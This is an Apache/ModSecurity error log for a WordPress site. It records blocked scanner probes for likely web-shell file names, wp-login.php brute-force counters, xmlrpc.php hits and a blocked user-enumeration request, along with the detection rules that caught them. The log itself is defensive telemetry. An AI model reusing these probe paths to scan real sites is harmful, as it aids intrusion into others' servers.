[Tue Mar 24 19:35:55.236848 2026] [:error] [pid 64198:tid 64219] [client 52.138.146.177:25401] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file88.php"] [unique_id "acJ3G3VzJqf6OS_oSZ2ldgAAAVM"]
[Tue Mar 24 19:35:55.828982 2026] [:error] [pid 64198:tid 64217] [client 52.138.146.177:1283] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "acJ3G3VzJqf6OS_oSZ2leQAAAVE"]
[Tue Mar 24 19:35:56.821574 2026] [:error] [pid 3030:tid 3069] [client 52.138.146.177:49558] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "acJ3HAyOuILyynfcqflZzQAAABQ"]
[Tue Mar 24 19:35:57.542636 2026] [:error] [pid 48214:tid 48260] [client 52.138.146.177:46870] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "acJ3HbeshLWZ3uUDHKlmgAAAAcg"]
[Tue Mar 24 19:35:58.157030 2026] [:error] [pid 64198:tid 64224] [client 52.138.146.177:46849] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "acJ3HnVzJqf6OS_oSZ2lhAAAAVg"]
[Tue Mar 24 19:35:58.734751 2026] [:error] [pid 64198:tid 64223] [client 52.138.146.177:9849] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x1da.php"] [unique_id "acJ3HnVzJqf6OS_oSZ2liAAAAVc"]
[Tue Mar 24 19:35:59.510365 2026] [:error] [pid 38767:tid 38774] [client 52.138.146.177:20674] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x1da.php"] [unique_id "acJ3H_wkUqN4GJAI5oUeoQAAAQQ"]
[Tue Mar 24 19:36:00.341722 2026] [:error] [pid 48214:tid 48273] [client 52.138.146.177:31532] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x1da.php"] [unique_id "acJ3ILeshLWZ3uUDHKlmhAAAAdU"]
[Tue Mar 24 19:36:01.050332 2026] [:error] [pid 48214:tid 48253] [client 52.138.146.177:28532] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x1da.php"] [unique_id "acJ3IbeshLWZ3uUDHKlmhQAAAcE"]
[Tue Mar 24 19:36:02.085048 2026] [:error] [pid 38767:tid 38770] [client 52.138.146.177:9663] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/des.php"] [unique_id "acJ3IvwkUqN4GJAI5oUepgAAAQA"]
[Tue Mar 24 19:36:02.833782 2026] [:error] [pid 48214:tid 48266] [client 52.138.146.177:13471] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/des.php"] [unique_id "acJ3IreshLWZ3uUDHKlmiQAAAc4"]
[Tue Mar 24 19:36:03.626339 2026] [:error] [pid 64198:tid 64224] [client 52.138.146.177:21037] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/des.php"] [unique_id "acJ3I3VzJqf6OS_oSZ2ljAAAAVg"]
[Tue Mar 24 19:36:04.854709 2026] [:error] [pid 38767:tid 38781] [client 52.138.146.177:38252] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/des.php"] [unique_id "acJ3JPwkUqN4GJAI5oUeuwAAAQs"]
[Tue Mar 24 19:36:06.172871 2026] [:error] [pid 64198:tid 64217] [client 52.138.146.177:21017] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kaza.php"] [unique_id "acJ3JnVzJqf6OS_oSZ2ljwAAAVE"]
[Tue Mar 24 19:36:06.869318 2026] [:error] [pid 64198:tid 64214] [client 52.138.146.177:50277] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kaza.php"] [unique_id "acJ3JnVzJqf6OS_oSZ2lkgAAAU4"]
[Tue Mar 24 19:36:07.803929 2026] [:error] [pid 48219:tid 48297] [client 52.138.146.177:8048] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kaza.php"] [unique_id "acJ3Jyhf3b4R_lAIyv93AgAAAhA"]
[Tue Mar 24 19:36:08.477539 2026] [:error] [pid 48219:tid 48283] [client 52.138.146.177:8052] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kaza.php"] [unique_id "acJ3KChf3b4R_lAIyv93BAAAAgI"]
[Tue Mar 24 19:36:09.292660 2026] [:error] [pid 38767:tid 38785] [client 52.138.146.177:41259] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file51.php"] [unique_id "acJ3KfwkUqN4GJAI5oUe2wAAAQ8"]
[Tue Mar 24 19:36:09.991862 2026] [:error] [pid 48214:tid 48262] [client 52.138.146.177:50298] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file51.php"] [unique_id "acJ3KbeshLWZ3uUDHKlmkgAAAco"]
[Tue Mar 24 19:36:10.730487 2026] [:error] [pid 64198:tid 64207] [client 52.138.146.177:7498] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file51.php"] [unique_id "acJ3KnVzJqf6OS_oSZ2lnwAAAUc"]
[Tue Mar 24 19:36:11.371687 2026] [:error] [pid 38767:tid 38780] [client 52.138.146.177:18313] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file51.php"] [unique_id "acJ3K_wkUqN4GJAI5oUe5AAAAQo"]
[Tue Mar 24 19:36:12.066348 2026] [:error] [pid 48219:tid 48285] [client 52.138.146.177:49545] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blurbs15.php"] [unique_id "acJ3LChf3b4R_lAIyv93DwAAAgQ"]
[Tue Mar 24 19:36:13.090864 2026] [:error] [pid 3137:tid 3152] [client 52.138.146.177:49597] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blurbs15.php"] [unique_id "acJ3LZdZesutm6dfYM8jLAAAAM0"]
[Tue Mar 24 19:36:14.278851 2026] [:error] [pid 3137:tid 3147] [client 52.138.146.177:28501] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blurbs15.php"] [unique_id "acJ3LpdZesutm6dfYM8jNwAAAMg"]
[Tue Mar 24 19:36:15.472597 2026] [:error] [pid 3137:tid 3150] [client 52.138.146.177:41217] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blurbs15.php"] [unique_id "acJ3L5dZesutm6dfYM8jPwAAAMs"]
[Tue Mar 24 19:36:16.313386 2026] [:error] [pid 64198:tid 64201] [client 52.138.146.177:23916] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "acJ3MHVzJqf6OS_oSZ2lpAAAAUE"]
[Tue Mar 24 19:36:17.369626 2026] [:error] [pid 3137:tid 3153] [client 52.138.146.177:19564] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "acJ3MZdZesutm6dfYM8jSQAAAM4"]
[Tue Mar 24 19:36:18.035266 2026] [:error] [pid 48214:tid 48266] [client 52.138.146.177:16078] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "acJ3MreshLWZ3uUDHKlmpAAAAc4"]
[Tue Mar 24 19:36:19.083444 2026] [:error] [pid 3137:tid 3141] [client 52.138.146.177:7515] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "acJ3M5dZesutm6dfYM8jTAAAAMI"]
[Tue Mar 24 19:36:20.386973 2026] [:error] [pid 3137:tid 3143] [client 52.138.146.177:25365] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "acJ3NJdZesutm6dfYM8jVAAAAMQ"]
[Tue Mar 24 19:36:21.502777 2026] [:error] [pid 38767:tid 38787] [client 52.138.146.177:23874] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "acJ3NfwkUqN4GJAI5oUfEgAAARE"]
[Tue Mar 24 19:36:22.955365 2026] [:error] [pid 3030:tid 3070] [client 52.138.146.177:19563] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "acJ3NgyOuILyynfcqflZ0gAAABU"]
[Tue Mar 24 19:36:23.542597 2026] [:error] [pid 3030:tid 3071] [client 52.138.146.177:8893] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "acJ3NwyOuILyynfcqflZ0wAAABY"]
[Tue Mar 24 19:36:24.452727 2026] [:error] [pid 3030:tid 3062] [client 52.138.146.177:16105] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ar.php"] [unique_id "acJ3OAyOuILyynfcqflZ1AAAAA0"]
[Tue Mar 24 19:36:25.287757 2026] [:error] [pid 64198:tid 64204] [client 52.138.146.177:1701] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ar.php"] [unique_id "acJ3OXVzJqf6OS_oSZ2lqwAAAUQ"]
[Tue Mar 24 19:36:26.538867 2026] [:error] [pid 3031:tid 3086] [client 52.138.146.177:7546] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ar.php"] [unique_id "acJ3OqJBKytnG47nuiY0LgAAAEo"]
[Tue Mar 24 19:36:29.291940 2026] [:error] [pid 38767:tid 38775] [client 52.138.146.177:42361] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ar.php"] [unique_id "acJ3PfwkUqN4GJAI5oUfMAAAAQU"]
[Tue Mar 24 19:36:30.907102 2026] [:error] [pid 3137:tid 3154] [client 52.138.146.177:19530] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "acJ3PpdZesutm6dfYM8jXgAAAM8"]
[Tue Mar 24 19:36:32.107109 2026] [proxy_fcgi:error] [pid 38767:tid 38787] [client 52.138.146.177:42329] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:36:32.417895 2026] [proxy_fcgi:error] [pid 38767:tid 38775] [client 52.138.146.177:42329] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:54:14.767016 2026] [:error] [pid 3137:tid 3155] [client 27.121.100.175:10631] [client 27.121.100.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.121.100.175, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acJ7ZpdZesutm6dfYM8o5AAAANA"]
[Tue Mar 24 19:54:14.777871 2026] [proxy_fcgi:error] [pid 3137:tid 3155] [client 27.121.100.175:10631] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 05:34:31.950796 2026] [:error] [pid 892:tid 910] [client 148.72.173.218:52676] [client 148.72.173.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.72.173.218, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "acMDZyT_G8WMU3T3yxot3gAAAMw"]
[Wed Mar 25 05:34:31.950865 2026] [:error] [pid 892:tid 910] [client 148.72.173.218:52676] [client 148.72.173.218] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 148.72.173.218 on wp-login.php, counter = 38"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "acMDZyT_G8WMU3T3yxot3gAAAMw"]
[Wed Mar 25 06:06:38.501910 2026] [:error] [pid 755:tid 809] [client 185.168.29.243:52691] [client 185.168.29.243] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "agraphics.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "acMK7qS6bdaeEwgCGwo53gAAAEQ"], referer: https://www.google.com
[Wed Mar 25 06:06:43.218943 2026] [:error] [pid 756:tid 871] [client 185.168.29.243:34529] [client 185.168.29.243] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||agraphics.com.au|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acMK8zOaW6oylMIDBCSEDQAAAJM"]
[Wed Mar 25 06:06:43.219360 2026] [:error] [pid 756:tid 871] [client 185.168.29.243:34529] [client 185.168.29.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.168.29.243, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acMK8zOaW6oylMIDBCSEDQAAAJM"]
[Wed Mar 25 06:06:43.232822 2026] [proxy_fcgi:error] [pid 756:tid 871] [client 185.168.29.243:34529] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 06:06:45.167911 2026] [:error] [pid 755:tid 841] [client 185.168.29.243:62847] [client 185.168.29.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.168.29.243, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "acMK9aS6bdaeEwgCGwo53wAAAFI"], referer: https://www.google.com
[Wed Mar 25 06:06:45.172542 2026] [proxy_fcgi:error] [pid 755:tid 841] [client 185.168.29.243:62847] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Wed Mar 25 06:06:46.799681 2026] [:error] [pid 755:tid 844] [client 185.168.29.243:43575] [client 185.168.29.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.168.29.243, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "acMK9qS6bdaeEwgCGwo54AAAAFU"], referer: https://www.google.com
[Wed Mar 25 06:06:46.806017 2026] [proxy_fcgi:error] [pid 755:tid 844] [client 185.168.29.243:43575] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Wed Mar 25 06:30:56.635214 2026] [:error] [pid 892:tid 908] [client 185.223.152.229:58979] [client 185.223.152.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.229, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "acMQoCT_G8WMU3T3yxo--wAAAMo"]
[Wed Mar 25 06:30:56.646482 2026] [proxy_fcgi:error] [pid 892:tid 908] [client 185.223.152.229:58979] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 10:11:59.105444 2026] [:error] [pid 26449:tid 26461] [client 45.226.78.216:31311] [client 45.226.78.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.226.78.216, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acNEb9pZ2T15NDqzAjH1uAAAAkg"]
[Wed Mar 25 10:11:59.126497 2026] [proxy_fcgi:error] [pid 26449:tid 26461] [client 45.226.78.216:31311] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 14:53:50.461804 2026] [:error] [pid 26449:tid 26460] [client 173.239.214.102:51921] [client 173.239.214.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.214.102, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "acOGftpZ2T15NDqzAjFOGAAAAkc"]
[Wed Mar 25 14:53:50.473383 2026] [proxy_fcgi:error] [pid 26449:tid 26460] [client 173.239.214.102:51921] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 17:55:04.358611 2026] [proxy_fcgi:error] [pid 25875:tid 25901] [client 20.220.197.73:62802] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 17:55:04.851094 2026] [:error] [pid 25875:tid 25889] [client 20.220.197.73:62802] [client 20.220.197.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.220.197.73, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "acOw-BJ38QkS3NyfshzXawAAAog"]
[Wed Mar 25 17:55:05.096136 2026] [proxy_fcgi:error] [pid 25875:tid 25890] [client 20.220.197.73:62802] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 17:55:06.069425 2026] [proxy_fcgi:error] [pid 25875:tid 25884] [client 20.220.197.73:62802] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 17:55:08.191016 2026] [proxy_fcgi:error] [pid 25875:tid 25887] [client 20.220.197.73:62802] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 17:55:08.429524 2026] [:error] [pid 25875:tid 25885] [client 20.220.197.73:62802] [client 20.220.197.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acOw_BJ38QkS3NyfshzXdAAAAoQ"]
[Wed Mar 25 17:55:09.294789 2026] [:error] [pid 25967:tid 25985] [client 20.220.197.73:62792] [client 20.220.197.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acOw_fg8Qtq7ZM4mSFkrRAAAA00"]
